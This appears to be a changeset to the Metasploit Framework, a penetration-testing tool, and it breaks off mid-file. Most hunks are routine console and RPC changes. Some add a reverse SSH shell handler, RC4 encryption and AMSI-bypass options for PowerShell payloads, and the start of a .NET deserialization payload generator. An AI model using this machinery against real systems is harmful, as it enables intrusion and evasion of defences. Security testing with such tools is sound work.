||||
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
|
||||
OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),
|
||||
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
|
||||
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
|
||||
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
|
||||
@@ -210,7 +211,9 @@ module Exploit::Powershell
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [Integer] :exec_rc4 Encrypt payload with RC4
|
||||
# @option opts [Boolean] :prepend_protections_bypass Prepend AMSI/SBL bypass
|
||||
# @option opts [Boolean] :exec_rc4 Encrypt payload with RC4
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
@@ -224,7 +227,7 @@ module Exploit::Powershell
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||
%i[persist prepend_sleep prepend_protections_bypass exec_in_place encode_final_payload encode_inner_payload
|
||||
%i[persist prepend_sleep prepend_protections_bypass exec_in_place exec_rc4 encode_final_payload encode_inner_payload
|
||||
remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
|
||||
opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?
|
||||
end
|
||||
|
||||
@@ -57,7 +57,7 @@ module Exploit::Remote::SMB::Client::PipeAuditor
|
||||
return pipe_name, pipe_handle if return_first
|
||||
|
||||
@found_pipes << [pipe_name, pipe_handle]
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
|
||||
vprint_error("Inaccessible named pipe: #{pipe_name} - #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/proto/ssh'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/ssh_command_shell'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the SSH tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseSsh
|
||||
|
||||
include Msf::Handler
|
||||
include Msf::Handler::Reverse
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
#
|
||||
def self.handler_type
|
||||
return 'reverse_ssh'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
# Initializes the reverse SSH handler and ads the options that are required
|
||||
# for all reverse SSH payloads, like version string and auth params.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options([Opt::LPORT(22)])
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('Ssh::Version', [
|
||||
true,
|
||||
'The SSH version string to provide',
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
])
|
||||
], Msf::Handler::ReverseSsh
|
||||
)
|
||||
end
|
||||
|
||||
# A URI describing where we are listening
|
||||
#
|
||||
# @param addr [String] the address that
|
||||
# @return [String] A URI of the form +ssh://host:port/+
|
||||
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
|
||||
addr = datastore['LHOST'] if addr.nil? || addr.empty?
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"ssh://#{uri_host}:#{bind_port}"
|
||||
end
|
||||
|
||||
# Create an Ssh listener
|
||||
#
|
||||
# @return [void]
|
||||
def setup_handler
|
||||
|
||||
local_addr = nil
|
||||
local_port = bind_port
|
||||
ex = false
|
||||
|
||||
ssh_opts = Rex::Proto::Ssh::Connection.default_options
|
||||
ssh_opts['local_version'] = datastore['Ssh::Version']
|
||||
|
||||
# Start the SSH server service on this host/port
|
||||
bind_addresses.each do |ip|
|
||||
begin
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Ssh::Server,
|
||||
local_port, ip,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
comm,
|
||||
ssh_opts
|
||||
)
|
||||
local_addr = ip
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{local_port}")
|
||||
else
|
||||
ex = false
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
self.service.on_client_connect_proc = Proc.new {|cli| init_fd_client(cli)}
|
||||
raise ex if (ex)
|
||||
|
||||
print_status("Started SSH reverse handler on #{listener_uri(local_addr)}")
|
||||
|
||||
if datastore['IgnoreUnknownPayloads']
|
||||
print_status("Handler is ignoring unknown payloads")
|
||||
end
|
||||
end
|
||||
|
||||
# Stops the handler & service
|
||||
#
|
||||
# @return [void]
|
||||
def stop_handler
|
||||
if self.service
|
||||
if self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def init_fd_client(cli)
|
||||
begin
|
||||
Timeout::timeout(5) do
|
||||
while cli.connection.open_channel_keys.empty? do
|
||||
sleep 0.02
|
||||
end
|
||||
fdc = Rex::Proto::Ssh::ChannelFD.new(cli)
|
||||
self.service.clients.push(fdc)
|
||||
create_session(fdc)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
elog("Unable to find channel FDs for client #{cli}")
|
||||
end
|
||||
end
|
||||
|
||||
def create_session(ssh,opts={})
|
||||
# If there is a parent payload, then use that in preference.
|
||||
s = Sessions::SshCommandShell.new(ssh,opts)
|
||||
# Pass along the framework context
|
||||
s.framework = framework
|
||||
|
||||
# Associate this system with the original exploit
|
||||
# and any relevant information
|
||||
s.set_from_exploit(assoc_exploit)
|
||||
|
||||
# If the session is valid, register it with the framework and
|
||||
# notify any waiters we may have.
|
||||
if (s)
|
||||
register_session(s)
|
||||
end
|
||||
|
||||
return s
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 5 seconds for this payload (due to channel delays)
|
||||
#
|
||||
def wfs_delay
|
||||
datastore['WfsDelay'] > 4 ? datastore['WfsDelay'] : 5
|
||||
end
|
||||
attr_accessor :service # :nodoc:
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -23,7 +23,7 @@ class Msf::Module::PlatformList
|
||||
#
|
||||
# Transformation method, just accept an array or a single entry.
|
||||
# This is just to make defining platform lists in a module more
|
||||
# convenient, skape's a girl like that.
|
||||
# convenient.
|
||||
#
|
||||
def self.transform(src)
|
||||
if (src.kind_of?(Array))
|
||||
|
||||
+1
-1
@@ -1,4 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::RPC
|
||||
require 'msf/core/rpc/v10/constants'
|
||||
|
||||
@@ -40,6 +41,5 @@ module Msf::RPC
|
||||
autoload :InvalidResponse, 'msf/core/rpc/json/error'
|
||||
autoload :JSONParseError, 'msf/core/rpc/json/error'
|
||||
autoload :ErrorResponse, 'msf/core/rpc/json/error'
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,14 +14,14 @@ module Msf::RPC::JSON
|
||||
|
||||
# JSON-RPC 2.0 Error Messages
|
||||
ERROR_MESSAGES = {
|
||||
# Specification errors:
|
||||
PARSE_ERROR => 'Invalid JSON was received by the server. An error occurred on the server while parsing the JSON text.',
|
||||
INVALID_REQUEST => 'The JSON sent is not a valid Request object.',
|
||||
METHOD_NOT_FOUND => 'The method %<name>s does not exist.',
|
||||
INVALID_PARAMS => 'Invalid method parameter(s).',
|
||||
INTERNAL_ERROR => 'Internal JSON-RPC error',
|
||||
# Implementation-defined server-errors:
|
||||
APPLICATION_SERVER_ERROR => 'Application server error: %<msg>s',
|
||||
# Specification errors:
|
||||
PARSE_ERROR => 'Invalid JSON was received by the server. An error occurred on the server while parsing the JSON text.',
|
||||
INVALID_REQUEST => 'The JSON sent is not a valid Request object.',
|
||||
METHOD_NOT_FOUND => 'The method %<name>s does not exist.',
|
||||
INVALID_PARAMS => 'Invalid method parameter(s).',
|
||||
INTERNAL_ERROR => 'Internal JSON-RPC error',
|
||||
# Implementation-defined server-errors:
|
||||
APPLICATION_SERVER_ERROR => 'Application server error: %<msg>s'
|
||||
}
|
||||
|
||||
# Base class for all Msf::RPC::JSON exceptions.
|
||||
|
||||
@@ -306,6 +306,67 @@ public
|
||||
end
|
||||
|
||||
|
||||
# Delete credentials from a specific workspace.
|
||||
#
|
||||
# @param [Hash] xopts Options:
|
||||
# @option xopts [String] :workspace Name of the workspace.
|
||||
# @raise [Msf::RPC::ServerException] You might get one of these errors:
|
||||
# * 500 ActiveRecord::ConnectionNotEstablished. Try: rpc.call('console.create').
|
||||
# * 500 Database not loaded. Try: rpc.call('console.create')
|
||||
# * 500 Invalid workspace.
|
||||
# @return [Hash] Credentials with the following hash key:
|
||||
# * 'result' [String] A message that says 'success'.
|
||||
# * 'deleted' [Array<Hash>] An array of credentials. Each hash in the array will have the following:
|
||||
# * 'user' [String] Username.
|
||||
# * 'pass' [String] Password.
|
||||
# * 'updated_at' [Integer] Last updated at.
|
||||
# * 'type' [String] Password type.
|
||||
# * 'host' [String] Host.
|
||||
# * 'port' [Integer] Port.
|
||||
# * 'proto' [String] Protocol.
|
||||
# * 'sname' [String] Service name.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('db.del_creds', {})
|
||||
def rpc_del_creds(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
deleted = []
|
||||
ret = {}
|
||||
ret[:creds] = []
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
limit = opts.delete(:limit) || 100
|
||||
offset = opts.delete(:offset) || 0
|
||||
query = Metasploit::Credential::Core.where(
|
||||
workspace_id: wspace
|
||||
).offset(offset).limit(limit)
|
||||
query.each do |cred|
|
||||
host = ''
|
||||
port = 0
|
||||
proto = ''
|
||||
sname = ''
|
||||
unless cred.logins.empty?
|
||||
login = cred.logins.first
|
||||
host = login.service.host.address.to_s
|
||||
sname = login.service.name.to_s if login.service.name.present?
|
||||
port = login.service.port.to_i
|
||||
proto = login.service.proto.to_s
|
||||
end
|
||||
ret[:creds] << {
|
||||
:user => cred.public.username.to_s,
|
||||
:pass => cred.private.data.to_s,
|
||||
:updated_at => cred.private.updated_at.to_i,
|
||||
:type => cred.private.type.to_s,
|
||||
:host => host,
|
||||
:port => port,
|
||||
:proto => proto,
|
||||
:sname => sname}
|
||||
deleted << ret
|
||||
cred.destroy
|
||||
end
|
||||
return { :result => 'success', :deleted => deleted }
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Returns information about hosts.
|
||||
#
|
||||
# @param [Hash] xopts Options:
|
||||
|
||||
@@ -402,6 +402,22 @@ class RPC_Module < RPC_Base
|
||||
res
|
||||
end
|
||||
|
||||
# Returns the total modules in each state.
|
||||
#
|
||||
# @return [Hash] Running module stats that contain the following keys:
|
||||
# * 'ready' [Integer] The number of modules waiting to be kicked off.
|
||||
# * 'running' [Integer] The number of modules currently in progress.
|
||||
# * 'results' [Integer] The number of module run/check results.
|
||||
# @exampleHere's how you would use this from the client:
|
||||
# rpc.call('module.running_stats')
|
||||
def rpc_running_stats
|
||||
{
|
||||
"ready" => self.framework.ready.size,
|
||||
"running" => self.framework.running.size,
|
||||
"results" => self.framework.results.size,
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Returns the module's datastore options.
|
||||
#
|
||||
@@ -498,7 +514,7 @@ class RPC_Module < RPC_Base
|
||||
when 'exploit'
|
||||
_check_exploit(mod, opts)
|
||||
when 'auxiliary'
|
||||
_run_auxiliary(mod, opts)
|
||||
_check_auxiliary(mod, opts)
|
||||
else
|
||||
error(500, "Invalid Module Type: #{mtype}")
|
||||
end
|
||||
|
||||
@@ -41,7 +41,7 @@ class RPC_Plugin < RPC_Base
|
||||
return { "result" => "success" }
|
||||
end
|
||||
rescue ::Exception => e
|
||||
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0, caller)
|
||||
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0)
|
||||
return { "result" => "failure" }
|
||||
end
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@ require 'msf/core/web_services/framework_extension'
|
||||
require 'msf/core/web_services/servlet_helper'
|
||||
require 'msf/core/web_services/servlet/auth_servlet'
|
||||
require 'msf/core/web_services/servlet/json_rpc_servlet'
|
||||
require 'msf/core/web_services/json_rpc_exception_handling'
|
||||
|
||||
module Msf::WebServices
|
||||
class JsonRpcApp < Sinatra::Base
|
||||
@@ -21,9 +22,15 @@ module Msf::WebServices
|
||||
register AuthServlet
|
||||
register JsonRpcServlet
|
||||
|
||||
# Custom error handling
|
||||
register JsonRpcExceptionHandling::SinatraExtension
|
||||
|
||||
configure do
|
||||
set :dispatchers, {}
|
||||
|
||||
# Disables Sinatra HTML Error Responses
|
||||
set :show_exceptions, false
|
||||
|
||||
set :sessions, {key: 'msf-ws.session', expire_after: 300}
|
||||
set :session_secret, ENV.fetch('MSF_WS_SESSION_SECRET', SecureRandom.hex(16))
|
||||
set :api_token, ENV.fetch('MSF_WS_JSON_RPC_API_TOKEN', nil)
|
||||
@@ -85,5 +92,11 @@ module Msf::WebServices
|
||||
false
|
||||
end
|
||||
|
||||
def self.setup_default_middleware(builder)
|
||||
super
|
||||
# Insertion at pos 1 needed to immediately follow Sinatra::ExtendedBase
|
||||
# proc block identical to one used in 'use' method lib/rack/builder:86
|
||||
builder.instance_variable_get(:@use).insert(1, proc { |app| JsonRpcExceptionHandling::RackMiddleware.new(app) })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
require 'msf/core/rpc'
|
||||
|
||||
module Msf::WebServices::JsonRpcExceptionHandling
|
||||
class RackMiddleware
|
||||
def initialize(app)
|
||||
@app = app
|
||||
end
|
||||
|
||||
def call(env)
|
||||
begin
|
||||
@app.call(env)
|
||||
rescue Exception => e
|
||||
req = Rack::Request.new(env)
|
||||
ErrorHandler.get_response(e, req)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module SinatraExtension
|
||||
def self.registered(app)
|
||||
app.error do |err|
|
||||
ErrorHandler.get_response(err, self.request)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class ErrorHandler
|
||||
class << self
|
||||
def get_response(err, request)
|
||||
parsed_request = parse_request(request)
|
||||
data = get_data(err)
|
||||
|
||||
response = Msf::RPC::JSON::Dispatcher::create_error_response(
|
||||
Msf::RPC::JSON::ApplicationServerError.new(
|
||||
err,
|
||||
data: data
|
||||
),
|
||||
parsed_request
|
||||
)
|
||||
|
||||
Rack::Response.new(
|
||||
response.to_json,
|
||||
500,
|
||||
{'Content-type' => 'application/json'}
|
||||
).finish
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def get_data(err)
|
||||
return nil unless development?
|
||||
|
||||
{
|
||||
"backtrace" => err.backtrace
|
||||
}
|
||||
end
|
||||
|
||||
def parse_request(req)
|
||||
begin
|
||||
body = req.body.tap(&:rewind).read
|
||||
JSON.parse(body, symbolize_names: true)
|
||||
rescue JSON::ParserError
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def development?
|
||||
environment == :development
|
||||
end
|
||||
|
||||
def environment
|
||||
(ENV['RACK_ENV'] || :development).to_sym
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -6,6 +6,7 @@ end
|
||||
|
||||
require 'rex/ui'
|
||||
require 'msf/ui/banner'
|
||||
require 'msf/ui/tip'
|
||||
require 'msf/ui/driver'
|
||||
require 'msf/ui/common'
|
||||
require 'msf/ui/console'
|
||||
|
||||
@@ -119,7 +119,7 @@ module Common
|
||||
if (p)
|
||||
p_opt = Serializer::ReadableText.dump_options(p, ' ')
|
||||
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
|
||||
print(" **DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**\n\n") if mod.datastore['DisablePayloadHandler'].to_s == 'true'
|
||||
print(" **DisablePayloadHandler: True (no handler will be created!)**\n\n") if mod.datastore['DisablePayloadHandler'].to_s == 'true'
|
||||
end
|
||||
end
|
||||
|
||||
@@ -158,6 +158,44 @@ module Common
|
||||
yield list[idx]
|
||||
end
|
||||
|
||||
# Trims starting `.`, `./` `/`, `+path_head+/`, & `/+path_head+/` from +path+. Also trims trailing `.+extension+`
|
||||
# from +path+, and any possible combination of misspellings of +extension+.
|
||||
#
|
||||
# @param path [String] The path to be trimmed
|
||||
# @param path_head [String] The top-level directory that should be removed from the path
|
||||
# @param extensions [Array] File extensions to be trimmed from +path+. `.` is automatically included. Defaults to ['rb', 'py', 'go'].
|
||||
# @return [String] Altered +path+. Will return unaltered +path+ if regex constructed with +path_head+ & +path+ is not detected
|
||||
def trim_path(path, path_head, extensions: ['rb', 'py', 'go'])
|
||||
#Builds capture groups for all supported file extensions
|
||||
regex_extension = ''
|
||||
extensions.each do |ext|
|
||||
regex_extension << "([#{ext}])+|"
|
||||
end
|
||||
regex_extension.delete_suffix!('|')
|
||||
|
||||
regexp = %r{
|
||||
(
|
||||
^\.? # Dot at beginning of path
|
||||
/? # Slash at beginning of path
|
||||
(#{path_head}/)? # top level directory (slash prepending directory name is optional)
|
||||
)
|
||||
|
||||
| # OR
|
||||
|
||||
(
|
||||
\.(#{regex_extension})$ # any possible file extension at end of path
|
||||
)
|
||||
|
||||
| # OR
|
||||
|
||||
(
|
||||
\.$ # trailing dot
|
||||
)
|
||||
}ix
|
||||
|
||||
path.gsub(regexp, '')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -69,6 +69,10 @@ class Core
|
||||
"-l" => [ false, "List all background threads." ],
|
||||
"-v" => [ false, "Print more detailed info. Use with -i and -l" ])
|
||||
|
||||
@@tip_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-l" => [ false, "List all available tips." ])
|
||||
|
||||
@@connect_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-p" => [ true, "List of proxies to use." ],
|
||||
@@ -115,6 +119,7 @@ class Core
|
||||
"set" => "Sets a context-specific variable to a value",
|
||||
"setg" => "Sets a global variable to a value",
|
||||
"sleep" => "Do nothing for the specified number of seconds",
|
||||
"tip" => "Show a useful productivity tip",
|
||||
"threads" => "View and manipulate background threads",
|
||||
"unload" => "Unload a framework plugin",
|
||||
"unset" => "Unsets one or more context-specific variables",
|
||||
@@ -217,24 +222,6 @@ class Core
|
||||
def cmd_banner(*args)
|
||||
banner = "%cya" + Banner.to_s + "%clr\n\n"
|
||||
|
||||
# These messages should /not/ show up when you're on a git checkout;
|
||||
# you're a developer, so you already know all this.
|
||||
if (is_apt || binary_install)
|
||||
content = [
|
||||
"Trouble managing data? List, sort, group, tag and search your pentest data\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Payload caught by AV? Fly under the radar with Dynamic Payloads in\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Taking notes in notepad? Have Metasploit Pro track & report\nyour progress and findings -- learn more on http://rapid7.com/metasploit",
|
||||
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
|
||||
"Love leveraging credentials? Check out bruteforcing\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Save 45% of your time on large engagements with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
|
||||
"Validate lots of vulnerabilities to demonstrate exposure\nwith Metasploit Pro -- Learn more on http://rapid7.com/metasploit"
|
||||
]
|
||||
banner << content.sample # Ruby 1.9-ism!
|
||||
banner << "\n\n"
|
||||
end
|
||||
|
||||
avdwarn = nil
|
||||
|
||||
stats = framework.stats
|
||||
@@ -249,6 +236,9 @@ class Core
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % pay_enc_nop)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % eva)
|
||||
|
||||
banner << "\n"
|
||||
banner << "Metasploit tip: #{Tip.sample}\n"
|
||||
|
||||
if ::Msf::Framework::EICARCorrupted
|
||||
avdwarn = []
|
||||
avdwarn << "Warning: This copy of the Metasploit Framework has been corrupted by an installed anti-virus program."
|
||||
@@ -267,6 +257,35 @@ class Core
|
||||
|
||||
end
|
||||
|
||||
def cmd_tip_help
|
||||
print_line "Usage: tip [options]"
|
||||
print_line
|
||||
print_line "Print a useful tip on how to use Metasploit"
|
||||
print @@tip_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Display a useful productivity tip to the user.
|
||||
#
|
||||
def cmd_tip(*args)
|
||||
if args.include?("-h")
|
||||
cmd_tip_help
|
||||
elsif args.include?("-l")
|
||||
tbl = Table.new(
|
||||
Table::Style::Default,
|
||||
'Columns' => %w[Id Tip]
|
||||
)
|
||||
|
||||
Tip.all.each_with_index do |tip, index|
|
||||
tbl << [ index, tip ]
|
||||
end
|
||||
|
||||
print(tbl.to_s)
|
||||
else
|
||||
print_line Tip.sample
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_connect_help
|
||||
print_line "Usage: connect [options] <host> <port>"
|
||||
print_line
|
||||
@@ -397,7 +416,8 @@ class Core
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("Connected to #{host}:#{port}")
|
||||
_, lhost, lport = sock.getlocalname()
|
||||
print_status("Connected to #{host}:#{port} (via: #{lhost}:#{lport})")
|
||||
|
||||
if justconn
|
||||
sock.close
|
||||
@@ -754,7 +774,7 @@ class Core
|
||||
print_status("Successfully loaded plugin: #{inst.name}")
|
||||
end
|
||||
rescue ::Exception => e
|
||||
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0, caller)
|
||||
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0)
|
||||
print_error("Failed to load plugin from #{path}: #{e}")
|
||||
end
|
||||
end
|
||||
@@ -1579,18 +1599,15 @@ class Core
|
||||
|
||||
# Set PAYLOAD
|
||||
if name.upcase == 'PAYLOAD' && active_module && (active_module.exploit? || active_module.evasion?)
|
||||
if value.start_with?('/', 'payload/')
|
||||
# Trims starting `/`, `payload/`, `/payload/` from user input
|
||||
value.sub!(%r{^/?(?:payload/)?}, '')
|
||||
else
|
||||
# Checking set PAYLOAD by index
|
||||
index_from_list(payload_show_results, value) do |mod|
|
||||
return false unless mod && mod.respond_to?(:first)
|
||||
value = trim_path(value, 'payload')
|
||||
|
||||
# [name, class] from payload_show_results
|
||||
value = mod.first
|
||||
end
|
||||
index_from_list(payload_show_results, value) do |mod|
|
||||
return false unless mod && mod.respond_to?(:first)
|
||||
|
||||
# [name, class] from payload_show_results
|
||||
value = mod.first
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# If the driver indicates that the value is not valid, bust out.
|
||||
@@ -2460,26 +2477,6 @@ class Core
|
||||
end
|
||||
end
|
||||
|
||||
# Determines if this is an apt-based install
|
||||
def is_apt
|
||||
File.exist?(File.expand_path(File.join(Msf::Config.install_root, '.apt')))
|
||||
end
|
||||
|
||||
# Determines if we're a Metasploit Pro/Community/Express
|
||||
# installation or a tarball/git checkout
|
||||
#
|
||||
# XXX This will need to be update when we embed framework as a gem in
|
||||
# commercial packages
|
||||
#
|
||||
# @return [Boolean] true if we are a binary install
|
||||
def binary_install
|
||||
binary_paths = [
|
||||
'C:/metasploit/apps/pro/msf3',
|
||||
'/opt/metasploit/apps/pro/msf3'
|
||||
]
|
||||
return binary_paths.include? Msf::Config.install_root
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of lines at the provided line number plus any before and/or after lines requested
|
||||
# from all_lines by supplying the +before+ and/or +after+ parameters which are always positive
|
||||
|
||||
@@ -7,6 +7,13 @@ module Msf
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
|
||||
#
|
||||
# Module Type Shorthands
|
||||
#
|
||||
MODULE_TYPE_SHORTHANDS = {
|
||||
"aux" => Msf::MODULE_AUX
|
||||
}
|
||||
|
||||
#
|
||||
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
|
||||
#
|
||||
@@ -470,6 +477,11 @@ module Msf
|
||||
next if search_term.length == 0
|
||||
keyword.downcase!
|
||||
search_term.downcase!
|
||||
|
||||
if keyword == "type"
|
||||
search_term = MODULE_TYPE_SHORTHANDS[search_term] if MODULE_TYPE_SHORTHANDS.key?(search_term)
|
||||
end
|
||||
|
||||
res[keyword] ||=[ [], [] ]
|
||||
if search_term[0,1] == "-"
|
||||
next if search_term.length == 1
|
||||
@@ -663,12 +675,7 @@ module Msf
|
||||
mod_resolved = args[1] == true ? true : false
|
||||
|
||||
# Ensure we have a reference name and not a path
|
||||
if mod_name.start_with?('./', 'modules/')
|
||||
mod_name.sub!(%r{^(?:\./)?modules/}, '')
|
||||
end
|
||||
if mod_name.end_with?('.rb')
|
||||
mod_name.sub!(/\.rb$/, '')
|
||||
end
|
||||
mod_name = trim_path(mod_name, "modules")
|
||||
|
||||
begin
|
||||
mod = framework.modules.create(mod_name)
|
||||
|
||||
@@ -502,17 +502,19 @@ protected
|
||||
print_error("Permission denied exec: #{line}")
|
||||
end
|
||||
self.busy = false
|
||||
return
|
||||
elsif framework.modules.create(method)
|
||||
super
|
||||
if prompt_yesno "This is a module we can load. Do you want to use #{method}?"
|
||||
run_single "use #{method}"
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
if framework.modules.create(method)
|
||||
super
|
||||
if prompt_yesno "This is a module we can load. Do you want to use #{method}?"
|
||||
run_single "use #{method}"
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
# -*- coding: binary -*-
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
###
|
||||
#
|
||||
# Module that contains some most excellent tips.
|
||||
#
|
||||
###
|
||||
module Tip
|
||||
def self.highlight(string)
|
||||
"%grn#{string}%clr"
|
||||
end
|
||||
|
||||
COMMON_TIPS = [
|
||||
"View useful productivity tips with the #{highlight('tip')} command, or view them all with #{highlight('tip -l')}",
|
||||
"Enable verbose logging with #{highlight('set VERBOSE true')}",
|
||||
"When in a module, use #{highlight('back')} to go back to the top level prompt",
|
||||
"Tired of setting RHOSTS for modules? Try globally setting it with #{highlight('setg RHOSTS x.x.x.x')}",
|
||||
"Enable HTTP request and response logging with #{highlight('set HttpTrace true')}",
|
||||
"You can upgrade a shell to a Meterpreter session on many platforms using #{highlight('sessions -u <session_id>')}",
|
||||
"Open an interactive Ruby terminal with #{highlight('irb')}",
|
||||
"Use the #{highlight('resource')} command to run commands from a file",
|
||||
"To save all commands executed since start up to a file, use the #{highlight('makerc')} command",
|
||||
"View advanced module options with #{highlight('advanced')}",
|
||||
"You can use #{highlight('help')} to view all available commands",
|
||||
"Use #{highlight('help <command>')} to learn more about any command",
|
||||
"View a module's description using #{highlight('info')}, or view it in your browser with #{highlight('info -d')}",
|
||||
"After running #{highlight('db_nmap')}, be sure to check out the result of #{highlight('hosts')} and #{highlight('services')}",
|
||||
"Save the current environment with the #{highlight('save')} command, future console restarts will use this environment again",
|
||||
"Search can apply complex filters such as #{highlight('search cve:2009 type:exploit')}, see all the filters with #{highlight('help search')}",
|
||||
"Metasploit can be configured at startup, see #{highlight('msfconsole --help')} to learn more",
|
||||
"Display the Framework log using the #{highlight('log')} command, learn more with #{highlight('help log')}",
|
||||
"Adapter names can be used for IP params #{highlight('set LHOST eth0')}",
|
||||
].freeze
|
||||
private_constant :COMMON_TIPS
|
||||
|
||||
DEVELOPER_TIPS = [
|
||||
"Writing a custom module? After editing your module, why not try the #{highlight('reload')} command",
|
||||
"Use the #{highlight('edit')} command to open the currently active module in your editor",
|
||||
].freeze
|
||||
private_constant :DEVELOPER_TIPS
|
||||
|
||||
ALL_TIPS = COMMON_TIPS + DEVELOPER_TIPS
|
||||
private_constant :ALL_TIPS
|
||||
|
||||
def self.all
|
||||
ALL_TIPS
|
||||
end
|
||||
|
||||
def self.sample
|
||||
ALL_TIPS.sample
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -31,3 +31,6 @@ require 'msf/util/db_manager'
|
||||
|
||||
# Java deserialization payload generators
|
||||
require 'msf/util/java_deserialization'
|
||||
|
||||
# .NET deserialization payload generators
|
||||
require 'msf/util/dot_net_deserialization'
|
||||
|
||||
@@ -0,0 +1,287 @@
|
||||
module Msf
|
||||
module Util
|
||||
|
||||
require 'bindata'
|
||||
|
||||
#
|
||||
# Much of this code is based on the YSoSerial.Net project
|
||||
# see: https://github.com/pwntester/ysoserial.net
|
||||
#
|
||||
class DotNetDeserialization
|
||||
DEFAULT_FORMATTER = :LosFormatter
|
||||
DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties
|
||||
|
||||
def self.encode_7bit_int(int)
|
||||
